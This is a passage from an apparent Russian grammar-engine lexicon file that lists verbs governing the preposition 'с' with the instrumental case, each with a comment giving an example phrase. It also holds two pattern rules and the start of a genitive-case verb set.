капитан с чувством выругался (ВЫРУГАТЬСЯ С ЧУВСТВОМ) rus_verbs:ОТКРЫТЬ{}, // с трудом открыл глаза (ОТКРЫТЬ С ТРУДОМ, таких много) rus_verbs:ПОЛУЧИТЬСЯ{}, // забавно получилось с ним (ПОЛУЧИТЬСЯ С) rus_verbs:ВЫБЕЖАТЬ{}, // старый выбежал с копьем (ВЫБЕЖАТЬ С) rus_verbs:ГОТОВИТЬСЯ{}, // Большинство компотов готовится с использованием сахара (ГОТОВИТЬСЯ С) rus_verbs:ПОДИСКУТИРОВАТЬ{}, // я бы подискутировал с Андрюхой (ПОДИСКУТИРОВАТЬ С) rus_verbs:ТУСИТЬ{}, // кто тусил со Светкой (ТУСИТЬ С) rus_verbs:БЕЖАТЬ{}, // куда она бежит со всеми? (БЕЖАТЬ С твор) rus_verbs:ГОРЕТЬ{}, // ты горел со своим кораблем? (ГОРЕТЬ С) rus_verbs:ВЫПИТЬ{}, // хотите выпить со мной чаю? (ВЫПИТЬ С) rus_verbs:МЕНЯТЬСЯ{}, // Я меняюсь с товарищем книгами. (МЕНЯТЬСЯ С) rus_verbs:ВАЛЯТЬСЯ{}, // Он уже неделю валяется с гриппом. (ВАЛЯТЬСЯ С) rus_verbs:ПИТЬ{}, // вы даже будете пить со мной пиво. (ПИТЬ С) инфинитив:кристаллизоваться{ вид:соверш }, // После этого пересыщенный раствор кристаллизуется с образованием кристаллов сахара. инфинитив:кристаллизоваться{ вид:несоверш }, глагол:кристаллизоваться{ вид:соверш }, глагол:кристаллизоваться{ вид:несоверш }, rus_verbs:ПООБЩАТЬСЯ{}, // пообщайся с Борисом (ПООБЩАТЬСЯ С) rus_verbs:ОБМЕНЯТЬСЯ{}, // Миша обменялся с Петей марками (ОБМЕНЯТЬСЯ С) rus_verbs:ПРОХОДИТЬ{}, // мы с тобой сегодня весь день проходили с вещами. (ПРОХОДИТЬ С) rus_verbs:ВСТАТЬ{}, // Он занимался всю ночь и встал с головной болью. (ВСТАТЬ С) rus_verbs:ПОВРЕМЕНИТЬ{}, // МВФ рекомендует Ирландии повременить с мерами экономии (ПОВРЕМЕНИТЬ С) rus_verbs:ГЛЯДЕТЬ{}, // Её глаза глядели с мягкой грустью. (ГЛЯДЕТЬ С + твор) rus_verbs:ВЫСКОЧИТЬ{}, // Зачем ты выскочил со своим замечанием? (ВЫСКОЧИТЬ С) rus_verbs:НЕСТИ{}, // плот несло со страшной силой. (НЕСТИ С) rus_verbs:приближаться{}, // стена приближалась со страшной быстротой. (приближаться с) rus_verbs:заниматься{}, // После уроков я занимался с отстающими учениками. (заниматься с) rus_verbs:разработать{}, // Этот лекарственный препарат разработан с использованием рецептов традиционной китайской медицины. (разработать с) rus_verbs:вестись{}, // Разработка месторождения ведется с использованием большого количества техники. (вестись с) rus_verbs:конфликтовать{}, // Маша конфликтует с Петей (конфликтовать с) rus_verbs:мешать{}, // мешать воду с мукой (мешать с) rus_verbs:иметь{}, // мне уже приходилось несколько раз иметь с ним дело. rus_verbs:синхронизировать{}, // синхронизировать с эталонным генератором rus_verbs:засинхронизировать{}, // засинхронизировать с эталонным генератором rus_verbs:синхронизироваться{}, // синхронизироваться с эталонным генератором rus_verbs:засинхронизироваться{}, // засинхронизироваться с эталонным генератором rus_verbs:стирать{}, // стирать с мылом рубашку в тазу rus_verbs:прыгать{}, // парашютист прыгает с парашютом rus_verbs:выступить{}, // Он выступил с приветствием съезду. rus_verbs:ходить{}, // В чужой монастырь со своим уставом не ходят. rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой. rus_verbs:отзываться{}, // Он отзывается об этой книге с большой похвалой. rus_verbs:вставать{}, // он встаёт с зарёй rus_verbs:мирить{}, // Его ум мирил всех с его дурным характером. rus_verbs:продолжаться{}, // стрельба тем временем продолжалась с прежней точностью. rus_verbs:договориться{}, // мы договоримся с вами rus_verbs:побыть{}, // он хотел побыть с тобой rus_verbs:расти{}, // Мировые производственные мощности растут с беспрецедентной скоростью rus_verbs:вязаться{}, // вязаться с фактами rus_verbs:отнестись{}, // отнестись к животным с сочуствием rus_verbs:относиться{}, // относиться с пониманием rus_verbs:пойти{}, // Спектакль пойдёт с участием известных артистов. rus_verbs:бракосочетаться{}, // Потомственный кузнец бракосочетался с разорившейся графиней rus_verbs:гулять{}, // бабушка гуляет с внуком rus_verbs:разбираться{}, // разбираться с задачей rus_verbs:сверить{}, // Данные были сверены с эталонными значениями rus_verbs:делать{}, // Что делать со старым телефоном rus_verbs:осматривать{}, // осматривать с удивлением rus_verbs:обсудить{}, // обсудить с приятелем прохождение уровня в новой игре rus_verbs:попрощаться{}, // попрощаться с талантливым актером rus_verbs:задремать{}, // задремать с кружкой чая в руке rus_verbs:связать{}, // связать катастрофу с действиями конкурентов rus_verbs:носиться{}, // носиться с безумной идеей rus_verbs:кончать{}, // кончать с собой rus_verbs:обмениваться{}, // обмениваться с собеседниками rus_verbs:переговариваться{}, // переговариваться с маяком rus_verbs:общаться{}, // общаться с полицией rus_verbs:завершить{}, // завершить с ошибкой rus_verbs:обняться{}, // обняться с подругой rus_verbs:сливаться{}, // сливаться с фоном rus_verbs:смешаться{}, // смешаться с толпой rus_verbs:договариваться{}, // договариваться с потерпевшим rus_verbs:обедать{}, // обедать с гостями rus_verbs:сообщаться{}, // сообщаться с подземной рекой rus_verbs:сталкиваться{}, // сталкиваться со стаей птиц rus_verbs:читаться{}, // читаться с трудом rus_verbs:смириться{}, // смириться с утратой rus_verbs:разделить{}, // разделить с другими ответственность rus_verbs:роднить{}, // роднить с медведем rus_verbs:медлить{}, // медлить с ответом rus_verbs:скрестить{}, // скрестить с ужом rus_verbs:покоиться{}, // покоиться с миром rus_verbs:делиться{}, // делиться с друзьями rus_verbs:познакомить{}, // познакомить с Олей rus_verbs:порвать{}, // порвать с Олей rus_verbs:завязать{}, // завязать с Олей знакомство rus_verbs:суетиться{}, // суетиться с изданием романа rus_verbs:соединиться{}, // соединиться с сервером rus_verbs:справляться{}, // справляться с нуждой rus_verbs:замешкаться{}, // замешкаться с ответом rus_verbs:поссориться{}, // поссориться с подругой rus_verbs:ссориться{}, // ссориться с друзьями rus_verbs:торопить{}, // торопить с решением rus_verbs:поздравить{}, // поздравить с победой rus_verbs:проститься{}, // проститься с человеком rus_verbs:поработать{}, // поработать с деревом rus_verbs:приключиться{}, // приключиться с Колей rus_verbs:сговориться{}, // сговориться с Ваней rus_verbs:отъехать{}, // отъехать с ревом rus_verbs:объединять{}, // объединять с другой кампанией rus_verbs:употребить{}, // употребить с молоком rus_verbs:перепутать{}, // перепутать с другой книгой rus_verbs:запоздать{}, // запоздать с ответом rus_verbs:подружиться{}, // подружиться с другими детьми rus_verbs:дружить{}, // дружить с Сережей rus_verbs:поравняться{}, // поравняться с финишной чертой rus_verbs:ужинать{}, // ужинать с гостями rus_verbs:расставаться{}, // расставаться с приятелями rus_verbs:завтракать{}, // завтракать с семьей rus_verbs:объединиться{}, // объединиться с соседями rus_verbs:сменяться{}, // сменяться с напарником rus_verbs:соединить{}, // соединить с сетью rus_verbs:разговориться{}, // разговориться с охранником rus_verbs:преподнести{}, // преподнести с помпой rus_verbs:напечатать{}, // напечатать с картинками rus_verbs:соединять{}, // соединять с сетью rus_verbs:расправиться{}, // расправиться с беззащитным человеком rus_verbs:распрощаться{}, // распрощаться с деньгами rus_verbs:сравнить{}, // сравнить с конкурентами rus_verbs:ознакомиться{}, // ознакомиться с выступлением инфинитив:сочетаться{ вид:несоверш }, глагол:сочетаться{ вид:несоверш }, // сочетаться с сумочкой деепричастие:сочетаясь{}, прилагательное:сочетающийся{}, прилагательное:сочетавшийся{}, rus_verbs:изнасиловать{}, // изнасиловать с применением чрезвычайного насилия rus_verbs:прощаться{}, // прощаться с боевым товарищем rus_verbs:сравнивать{}, // сравнивать с конкурентами rus_verbs:складывать{}, // складывать с весом упаковки rus_verbs:повестись{}, // повестись с ворами rus_verbs:столкнуть{}, // столкнуть с отбойником rus_verbs:переглядываться{}, // переглядываться с соседом rus_verbs:поторопить{}, // поторопить с откликом rus_verbs:развлекаться{}, // развлекаться с подружками rus_verbs:заговаривать{}, // заговаривать с незнакомцами rus_verbs:поцеловаться{}, // поцеловаться с первой девушкой инфинитив:согласоваться{ вид:несоверш }, глагол:согласоваться{ вид:несоверш }, // согласоваться с подлежащим деепричастие:согласуясь{}, прилагательное:согласующийся{}, rus_verbs:совпасть{}, // совпасть с оригиналом rus_verbs:соединяться{}, // соединяться с куратором rus_verbs:повстречаться{}, // повстречаться с героями rus_verbs:поужинать{}, // поужинать с родителями rus_verbs:развестись{}, // развестись с первым мужем rus_verbs:переговорить{}, // переговорить с коллегами rus_verbs:сцепиться{}, // сцепиться с бродячей собакой rus_verbs:сожрать{}, // сожрать с потрохами rus_verbs:побеседовать{}, // побеседовать со шпаной rus_verbs:поиграть{}, // поиграть с котятами rus_verbs:сцепить{}, // сцепить с тягачом rus_verbs:помириться{}, // помириться с подружкой rus_verbs:связываться{}, // связываться с бандитами rus_verbs:совещаться{}, // совещаться с мастерами rus_verbs:обрушиваться{}, // обрушиваться с беспощадной критикой rus_verbs:переплестись{}, // переплестись с кустами rus_verbs:мутить{}, // мутить с одногрупницами rus_verbs:приглядываться{}, // приглядываться с интересом rus_verbs:сблизиться{}, // сблизиться с врагами rus_verbs:перешептываться{}, // перешептываться с симпатичной соседкой rus_verbs:растереть{}, // растереть с солью rus_verbs:смешиваться{}, // смешиваться с известью rus_verbs:соприкоснуться{}, // соприкоснуться с тайной rus_verbs:ладить{}, // ладить с родственниками rus_verbs:сотрудничать{}, // сотрудничать с органами дознания rus_verbs:съехаться{}, // съехаться с родственниками rus_verbs:перекинуться{}, // перекинуться с коллегами парой слов rus_verbs:советоваться{}, // советоваться с отчимом rus_verbs:сравниться{}, // сравниться с лучшими rus_verbs:знакомиться{}, // знакомиться с абитуриентами rus_verbs:нырять{}, // нырять с аквалангом rus_verbs:забавляться{}, // забавляться с куклой rus_verbs:перекликаться{}, // перекликаться с другой статьей rus_verbs:тренироваться{}, // тренироваться с партнершей rus_verbs:поспорить{}, // поспорить с казночеем инфинитив:сладить{ вид:соверш }, глагол:сладить{ вид:соверш }, // сладить с бычком деепричастие:сладив{}, прилагательное:сладивший{ вид:соверш }, rus_verbs:примириться{}, // примириться с утратой rus_verbs:раскланяться{}, // раскланяться с фрейлинами rus_verbs:слечь{}, // слечь с ангиной rus_verbs:соприкасаться{}, // соприкасаться со стеной rus_verbs:смешать{}, // смешать с грязью rus_verbs:пересекаться{}, // пересекаться с трассой rus_verbs:путать{}, // путать с государственной шерстью rus_verbs:поболтать{}, // поболтать с ученицами rus_verbs:здороваться{}, // здороваться с профессором rus_verbs:просчитаться{}, // просчитаться с покупкой rus_verbs:сторожить{}, // сторожить с собакой rus_verbs:обыскивать{}, // обыскивать с собаками rus_verbs:переплетаться{}, // переплетаться с другой веткой rus_verbs:обниматься{}, // обниматься с Ксюшей rus_verbs:объединяться{}, // объединяться с конкурентами rus_verbs:погорячиться{}, // погорячиться с покупкой rus_verbs:мыться{}, // мыться с мылом rus_verbs:свериться{}, // свериться с эталоном rus_verbs:разделаться{}, // разделаться с кем-то rus_verbs:чередоваться{}, // чередоваться с партнером rus_verbs:налететь{}, // налететь с соратниками rus_verbs:поспать{}, // поспать с включенным светом rus_verbs:управиться{}, // управиться с собакой rus_verbs:согрешить{}, // согрешить с замужней rus_verbs:определиться{}, // определиться с победителем rus_verbs:перемешаться{}, // перемешаться с гранулами rus_verbs:затрудняться{}, // затрудняться с ответом rus_verbs:обождать{}, // обождать со стартом rus_verbs:фыркать{}, // фыркать с презрением rus_verbs:засидеться{}, // засидеться с приятелем rus_verbs:крепнуть{}, // крепнуть с годами rus_verbs:пировать{}, // пировать с дружиной rus_verbs:щебетать{}, // щебетать с сестричками rus_verbs:маяться{}, // маяться с кашлем rus_verbs:сближать{}, // сближать с центральным светилом rus_verbs:меркнуть{}, // меркнуть с возрастом rus_verbs:заспорить{}, // заспорить с оппонентами rus_verbs:граничить{}, // граничить с Ливаном rus_verbs:перестараться{}, // перестараться со стимуляторами rus_verbs:объединить{}, // объединить с филиалом rus_verbs:свыкнуться{}, // свыкнуться с утратой rus_verbs:посоветоваться{}, // посоветоваться с адвокатами rus_verbs:напутать{}, // напутать с ведомостями rus_verbs:нагрянуть{}, // нагрянуть с обыском rus_verbs:посовещаться{}, // посовещаться с судьей rus_verbs:провернуть{}, // провернуть с друганом rus_verbs:разделяться{}, // разделяться с сотрапезниками rus_verbs:пересечься{}, // пересечься с второй колонной rus_verbs:опережать{}, // опережать с большим запасом rus_verbs:перепутаться{}, // перепутаться с другой линией rus_verbs:соотноситься{}, // соотноситься с затратами rus_verbs:смешивать{}, // смешивать с золой rus_verbs:свидеться{}, // свидеться с тобой rus_verbs:переспать{}, // переспать с графиней rus_verbs:поладить{}, // поладить с соседями rus_verbs:протащить{}, // протащить с собой rus_verbs:разминуться{}, // разминуться с встречным потоком rus_verbs:перемежаться{}, // перемежаться с успехами rus_verbs:рассчитаться{}, // рассчитаться с кредиторами rus_verbs:срастись{}, // срастись с телом rus_verbs:знакомить{}, // знакомить с родителями rus_verbs:поругаться{}, // поругаться с родителями rus_verbs:совладать{}, // совладать с чувствами rus_verbs:обручить{}, // обручить с богатой невестой rus_verbs:сближаться{}, // сближаться с вражеским эсминцем rus_verbs:замутить{}, // замутить с Ксюшей rus_verbs:повозиться{}, // повозиться с настройкой rus_verbs:торговаться{}, // торговаться с продавцами rus_verbs:уединиться{}, // уединиться с девчонкой rus_verbs:переборщить{}, // переборщить с добавкой rus_verbs:ознакомить{}, // ознакомить с пожеланиями rus_verbs:прочесывать{}, // прочесывать с собаками rus_verbs:переписываться{}, // переписываться с корреспондентами rus_verbs:повздорить{}, // повздорить с сержантом rus_verbs:разлучить{}, // разлучить с семьей rus_verbs:соседствовать{}, // соседствовать с цыганами rus_verbs:застукать{}, // застукать с проститутками rus_verbs:напуститься{}, // напуститься с кулаками rus_verbs:сдружиться{}, // сдружиться с ребятами rus_verbs:соперничать{}, // соперничать с параллельным классом rus_verbs:прочесать{}, // прочесать с собаками rus_verbs:кокетничать{}, // кокетничать с гимназистками rus_verbs:мириться{}, // мириться с убытками rus_verbs:оплошать{}, // оплошать с билетами rus_verbs:отождествлять{}, // отождествлять с литературным героем rus_verbs:хитрить{}, // хитрить с зарплатой rus_verbs:провозиться{}, // провозиться с задачкой rus_verbs:коротать{}, // коротать с друзьями rus_verbs:соревноваться{}, // соревноваться с машиной rus_verbs:уживаться{}, // уживаться с местными жителями rus_verbs:отождествляться{}, // отождествляться с литературным героем rus_verbs:сопоставить{}, // сопоставить с эталоном rus_verbs:пьянствовать{}, // пьянствовать с друзьями rus_verbs:залетать{}, // залетать с паленой водкой rus_verbs:гастролировать{}, // гастролировать с новой цирковой программой rus_verbs:запаздывать{}, // запаздывать с кормлением rus_verbs:таскаться{}, // таскаться с сумками rus_verbs:контрастировать{}, // контрастировать с туфлями rus_verbs:сшибиться{}, // сшибиться с форвардом rus_verbs:состязаться{}, // состязаться с лучшей командой rus_verbs:затрудниться{}, // затрудниться с объяснением rus_verbs:объясниться{}, // объясниться с пострадавшими rus_verbs:разводиться{}, // разводиться со сварливой женой rus_verbs:препираться{}, // препираться с адвокатами rus_verbs:сосуществовать{}, // сосуществовать с крупными хищниками rus_verbs:свестись{}, // свестись с нулевым счетом rus_verbs:обговорить{}, // обговорить с директором rus_verbs:обвенчаться{}, // обвенчаться с ведьмой rus_verbs:экспериментировать{}, // экспериментировать с генами rus_verbs:сверять{}, // сверять с таблицей rus_verbs:сверяться{}, // свериться с таблицей rus_verbs:сблизить{}, // сблизить с точкой rus_verbs:гармонировать{}, // гармонировать с обоями rus_verbs:перемешивать{}, // перемешивать с молоком rus_verbs:трепаться{}, // трепаться с сослуживцами rus_verbs:перемигиваться{}, // перемигиваться с соседкой rus_verbs:разоткровенничаться{}, // разоткровенничаться с незнакомцем rus_verbs:распить{}, // распить с собутыльниками rus_verbs:скрестись{}, // скрестись с дикой лошадью rus_verbs:передраться{}, // передраться с дворовыми собаками rus_verbs:умыть{}, // умыть с мылом rus_verbs:грызться{}, // грызться с соседями rus_verbs:переругиваться{}, // переругиваться с соседями rus_verbs:доиграться{}, // доиграться со спичками rus_verbs:заладиться{}, // заладиться с подругой rus_verbs:скрещиваться{}, // скрещиваться с дикими видами rus_verbs:повидаться{}, // повидаться с дедушкой rus_verbs:повоевать{}, // повоевать с орками rus_verbs:сразиться{}, // сразиться с лучшим рыцарем rus_verbs:кипятить{}, // кипятить с отбеливателем rus_verbs:усердствовать{}, // усердствовать с наказанием rus_verbs:схлестнуться{}, // схлестнуться с лучшим боксером rus_verbs:пошептаться{}, // пошептаться с судьями rus_verbs:сравняться{}, // сравняться с лучшими экземплярами rus_verbs:церемониться{}, // церемониться с пьяницами rus_verbs:консультироваться{}, // консультироваться со специалистами rus_verbs:переусердствовать{}, // переусердствовать с наказанием rus_verbs:проноситься{}, // проноситься с собой rus_verbs:перемешать{}, // перемешать с гипсом rus_verbs:темнить{}, // темнить с долгами rus_verbs:сталкивать{}, // сталкивать с черной дырой rus_verbs:увольнять{}, // увольнять с волчьим билетом rus_verbs:заигрывать{}, // заигрывать с совершенно диким животным rus_verbs:сопоставлять{}, // сопоставлять с эталонными образцами rus_verbs:расторгнуть{}, // расторгнуть с нерасторопными поставщиками долгосрочный контракт rus_verbs:созвониться{}, // созвониться с мамой rus_verbs:спеться{}, // спеться с отъявленными хулиганами rus_verbs:интриговать{}, // интриговать с придворными rus_verbs:приобрести{}, // приобрести со скидкой rus_verbs:задержаться{}, // задержаться со сдачей работы rus_verbs:плавать{}, // плавать со спасательным кругом rus_verbs:якшаться{}, // Не якшайся с врагами инфинитив:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги инфинитив:ассоциировать{вид:несоверш}, глагол:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги глагол:ассоциировать{вид:несоверш}, //+прилагательное:ассоциировавший{вид:несоверш}, прилагательное:ассоциировавший{вид:соверш}, прилагательное:ассоциирующий{}, деепричастие:ассоциируя{}, деепричастие:ассоциировав{}, rus_verbs:ассоциироваться{}, // герой книги ассоциируется с реальным персонажем rus_verbs:аттестовывать{}, // Они аттестовывают сотрудников с помощью наборра тестов rus_verbs:аттестовываться{}, // Сотрудники аттестовываются с помощью набора тестов //+инфинитив:аффилировать{вид:соверш}, // эти предприятия были аффилированы с олигархом //+глагол:аффилировать{вид:соверш}, прилагательное:аффилированный{}, rus_verbs:баловаться{}, // мальчик баловался с молотком rus_verbs:балясничать{}, // женщина балясничала с товарками rus_verbs:богатеть{}, // Провинция богатеет от торговли с соседями rus_verbs:бодаться{}, // теленок бодается с деревом rus_verbs:боксировать{}, // Майкл дважды боксировал с ним rus_verbs:брататься{}, // Солдаты братались с бойцами союзников rus_verbs:вальсировать{}, // Мальчик вальсирует с девочкой rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу rus_verbs:происходить{}, // Что происходит с мировой экономикой? rus_verbs:произойти{}, // Что произошло с экономикой? rus_verbs:взаимодействовать{}, // Электроны взаимодействуют с фотонами rus_verbs:вздорить{}, // Эта женщина часто вздорила с соседями rus_verbs:сойтись{}, // Мальчик сошелся с бандой хулиганов rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями rus_verbs:водиться{}, // Няня водится с детьми rus_verbs:воевать{}, // Фермеры воевали с волками rus_verbs:возиться{}, // Няня возится с детьми rus_verbs:ворковать{}, // Голубь воркует с голубкой rus_verbs:воссоединиться{}, // Дети воссоединились с семьей rus_verbs:воссоединяться{}, // Дети воссоединяются с семьей rus_verbs:вошкаться{}, // Не вошкайся с этой ерундой rus_verbs:враждовать{}, // враждовать с соседями rus_verbs:временить{}, // временить с выходом на пенсию rus_verbs:расстаться{}, // я не могу расстаться с тобой rus_verbs:выдирать{}, // выдирать с мясом rus_verbs:выдираться{}, // выдираться с мясом rus_verbs:вытворить{}, // вытворить что-либо с чем-либо rus_verbs:вытворять{}, // вытворять что-либо с чем-либо rus_verbs:сделать{}, // сделать с чем-то rus_verbs:домыть{}, // домыть с мылом rus_verbs:случиться{}, // случиться с кем-то rus_verbs:остаться{}, // остаться с кем-то rus_verbs:случать{}, // случать с породистым кобельком rus_verbs:послать{}, // послать с весточкой rus_verbs:работать{}, // работать с роботами rus_verbs:провести{}, // провести с девчонками время rus_verbs:заговорить{}, // заговорить с незнакомкой rus_verbs:прошептать{}, // прошептать с придыханием rus_verbs:читать{}, // читать с выражением rus_verbs:слушать{}, // слушать с повышенным вниманием rus_verbs:принести{}, // принести с собой rus_verbs:спать{}, // спать с женщинами rus_verbs:закончить{}, // закончить с приготовлениями rus_verbs:помочь{}, // помочь с перестановкой rus_verbs:уехать{}, // уехать с семьей rus_verbs:случаться{}, // случаться с кем-то rus_verbs:кутить{}, // кутить с проститутками rus_verbs:разговаривать{}, // разговаривать с ребенком rus_verbs:погодить{}, // погодить с ликвидацией rus_verbs:считаться{}, // считаться с чужим мнением rus_verbs:носить{}, // носить с собой rus_verbs:хорошеть{}, // хорошеть с каждым днем rus_verbs:приводить{}, // приводить с собой rus_verbs:прыгнуть{}, // прыгнуть с парашютом rus_verbs:петь{}, // петь с чувством rus_verbs:сложить{}, // сложить с результатом rus_verbs:познакомиться{}, // познакомиться с другими студентами rus_verbs:обращаться{}, // обращаться с животными rus_verbs:съесть{}, // съесть с хлебом rus_verbs:ошибаться{}, // ошибаться с дозировкой rus_verbs:столкнуться{}, // столкнуться с медведем rus_verbs:справиться{}, // справиться с нуждой rus_verbs:торопиться{}, // торопиться с ответом rus_verbs:поздравлять{}, // поздравлять с победой rus_verbs:объясняться{}, // объясняться с начальством rus_verbs:пошутить{}, // пошутить с подругой rus_verbs:поздороваться{}, // поздороваться с коллегами rus_verbs:поступать{}, // Как поступать с таким поведением? rus_verbs:определяться{}, // определяться с кандидатами rus_verbs:связаться{}, // связаться с поставщиком rus_verbs:спорить{}, // спорить с собеседником rus_verbs:разобраться{}, // разобраться с делами rus_verbs:ловить{}, // ловить с удочкой rus_verbs:помедлить{}, // Кандидат помедлил с ответом на заданный вопрос rus_verbs:шутить{}, // шутить с диким зверем rus_verbs:разорвать{}, // разорвать с поставщиком контракт rus_verbs:увезти{}, // увезти с собой rus_verbs:унести{}, // унести с собой rus_verbs:сотворить{}, // сотворить с собой что-то нехорошее rus_verbs:складываться{}, // складываться с первым импульсом rus_verbs:соглашаться{}, // соглашаться с предложенным договором //rus_verbs:покончить{}, // покончить с развратом rus_verbs:прихватить{}, // прихватить с собой rus_verbs:похоронить{}, // похоронить с почестями rus_verbs:связывать{}, // связывать с компанией свою судьбу rus_verbs:совпадать{}, // совпадать с предсказанием rus_verbs:танцевать{}, // танцевать с девушками rus_verbs:поделиться{}, // поделиться с выжившими rus_verbs:оставаться{}, // я не хотел оставаться с ним в одной комнате. rus_verbs:беседовать{}, // преподаватель, беседующий со студентами rus_verbs:бороться{}, // человек, борющийся со смертельной болезнью rus_verbs:шептаться{}, // девочка, шепчущаяся с подругой rus_verbs:сплетничать{}, // женщина, сплетничавшая с товарками rus_verbs:поговорить{}, // поговорить с виновниками rus_verbs:сказать{}, // сказать с трудом rus_verbs:произнести{}, // произнести с трудом rus_verbs:говорить{}, // говорить с акцентом rus_verbs:произносить{}, // произносить с трудом rus_verbs:встречаться{}, // кто с Антонио встречался? rus_verbs:посидеть{}, // посидеть с друзьями rus_verbs:расквитаться{}, // расквитаться с обидчиком rus_verbs:поквитаться{}, // поквитаться с обидчиком rus_verbs:ругаться{}, // ругаться с женой rus_verbs:поскандалить{}, // поскандалить с женой rus_verbs:потанцевать{}, // потанцевать с подругой rus_verbs:скандалить{}, // скандалить с соседями rus_verbs:разругаться{}, // разругаться с другом rus_verbs:болтать{}, // болтать с подругами rus_verbs:потрепаться{}, // потрепаться с соседкой rus_verbs:войти{}, // войти с регистрацией rus_verbs:входить{}, // входить с регистрацией rus_verbs:возвращаться{}, // возвращаться с триумфом rus_verbs:опоздать{}, // Он опоздал с подачей сочинения. rus_verbs:молчать{}, // Он молчал с ледяным спокойствием. rus_verbs:сражаться{}, // Он героически сражался с врагами. rus_verbs:выходить{}, // Он всегда выходит с зонтиком. rus_verbs:сличать{}, // сличать перевод с оригиналом rus_verbs:начать{}, // я начал с товарищем спор о религии rus_verbs:согласовать{}, // Маша согласовала с Петей дальнейшие поездки rus_verbs:приходить{}, // Приходите с нею. rus_verbs:жить{}, // кто с тобой жил? rus_verbs:расходиться{}, // Маша расходится с Петей rus_verbs:сцеплять{}, // сцеплять карабин с обвязкой rus_verbs:торговать{}, // мы торгуем с ними нефтью rus_verbs:уединяться{}, // уединяться с подругой в доме rus_verbs:уладить{}, // уладить конфликт с соседями rus_verbs:идти{}, // Я шел туда с тяжёлым сердцем. rus_verbs:разделять{}, // Я разделяю с вами горе и радость. rus_verbs:обратиться{}, // Я обратился к нему с просьбой о помощи. rus_verbs:захватить{}, // Я не захватил с собой денег. прилагательное:знакомый{}, // Я знаком с ними обоими. rus_verbs:вести{}, // Я веду с ней переписку. прилагательное:сопряженный{}, // Это сопряжено с большими трудностями. прилагательное:связанный{причастие}, // Это дело связано с риском. rus_verbs:поехать{}, // Хотите поехать со мной в театр? rus_verbs:проснуться{}, // Утром я проснулся с ясной головой. rus_verbs:лететь{}, // Самолёт летел со скоростью звука. rus_verbs:играть{}, // С огнём играть опасно! rus_verbs:поделать{}, // С ним ничего не поделаешь. rus_verbs:стрястись{}, // С ней стряслось несчастье. rus_verbs:смотреться{}, // Пьеса смотрится с удовольствием. rus_verbs:смотреть{}, // Она смотрела на меня с явным неудовольствием. rus_verbs:разойтись{}, // Она разошлась с мужем. rus_verbs:пристать{}, // Она пристала ко мне с расспросами. rus_verbs:посмотреть{}, // Она посмотрела на меня с удивлением. rus_verbs:поступить{}, // Она плохо поступила с ним. rus_verbs:выйти{}, // Она вышла с усталым и недовольным видом. rus_verbs:взять{}, // Возьмите с собой только самое необходимое. rus_verbs:наплакаться{}, // Наплачется она с ним. rus_verbs:лежать{}, // Он лежит с воспалением лёгких. rus_verbs:дышать{}, // дышащий с трудом rus_verbs:брать{}, // брать с собой rus_verbs:мчаться{}, // Автомобиль мчится с необычайной быстротой. rus_verbs:упасть{}, // Ваза упала со звоном. rus_verbs:вернуться{}, // мы вернулись вчера домой с полным лукошком rus_verbs:сидеть{}, // Она сидит дома с ребенком rus_verbs:встретиться{}, // встречаться с кем-либо ГЛ_ИНФ(придти), прилагательное:пришедший{}, // пришедший с другом ГЛ_ИНФ(постирать), прилагательное:постиранный{}, деепричастие:постирав{}, rus_verbs:мыть{} } fact гл_предл { if context { Гл_С_Твор предлог:с{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_С_Твор предлог:с{} *:*{падеж:твор} } then return true } #endregion ТВОРИТЕЛЬНЫЙ #region РОДИТЕЛЬНЫЙ wordentry_set Гл_С_Род= { rus_verbs:УХОДИТЬ{}, // Но с базы не уходить. rus_verbs:РВАНУТЬ{}, // Водитель прорычал проклятие и рванул машину с места. (РВАНУТЬ) rus_verbs:ОХВАТИТЬ{}, // огонь охватил его со всех сторон (ОХВАТИТЬ) rus_verbs:ЗАМЕТИТЬ{}, // Он понимал, что свет из тайника невозможно заметить с палубы (ЗАМЕТИТЬ/РАЗГЛЯДЕТЬ) rus_verbs:РАЗГЛЯДЕТЬ{}, // rus_verbs:СПЛАНИРОВАТЬ{}, // Птицы размером с орлицу, вероятно, не могли бы подняться в воздух, не спланировав с высокого утеса. (СПЛАНИРОВАТЬ) rus_verbs:УМЕРЕТЬ{}, // Он умрет с голоду. (УМЕРЕТЬ) rus_verbs:ВСПУГНУТЬ{}, // Оба упали с лязгом, вспугнувшим птиц с ближайших деревьев (ВСПУГНУТЬ) rus_verbs:РЕВЕТЬ{}, // Время от времени какой-то ящер ревел с берега или самой реки. (РЕВЕТЬ/ЗАРЕВЕТЬ/ПРОРЕВЕТЬ/ЗАОРАТЬ/ПРООРАТЬ/ОРАТЬ/ПРОКРИЧАТЬ/ЗАКРИЧАТЬ/ВОПИТЬ/ЗАВОПИТЬ) rus_verbs:ЗАРЕВЕТЬ{}, // rus_verbs:ПРОРЕВЕТЬ{}, // rus_verbs:ЗАОРАТЬ{}, // rus_verbs:ПРООРАТЬ{}, // rus_verbs:ОРАТЬ{}, // rus_verbs:ЗАКРИЧАТЬ{}, rus_verbs:ВОПИТЬ{}, // rus_verbs:ЗАВОПИТЬ{}, // rus_verbs:СТАЩИТЬ{}, // Я видела как они стащили его с валуна и увели с собой. (СТАЩИТЬ/СТАСКИВАТЬ) rus_verbs:СТАСКИВАТЬ{}, // rus_verbs:ПРОВЫТЬ{}, // Призрак трубного зова провыл с другой стороны дверей. (ПРОВЫТЬ, ЗАВЫТЬ, ВЫТЬ) rus_verbs:ЗАВЫТЬ{}, // rus_verbs:ВЫТЬ{}, // rus_verbs:СВЕТИТЬ{}, // Полуденное майское солнце ярко светило с голубых небес Аризоны. (СВЕТИТЬ) rus_verbs:ОТСВЕЧИВАТЬ{}, // Солнце отсвечивало с белых лошадей, белых щитов и белых перьев и искрилось на наконечниках пик. (ОТСВЕЧИВАТЬ С, ИСКРИТЬСЯ НА) rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое rus_verbs:собирать{}, // мальчики начали собирать со столов посуду rus_verbs:разглядывать{}, // ты ее со всех сторон разглядывал rus_verbs:СЖИМАТЬ{}, // меня плотно сжимали со всех сторон (СЖИМАТЬ) rus_verbs:СОБРАТЬСЯ{}, // со всего света собрались! (СОБРАТЬСЯ) 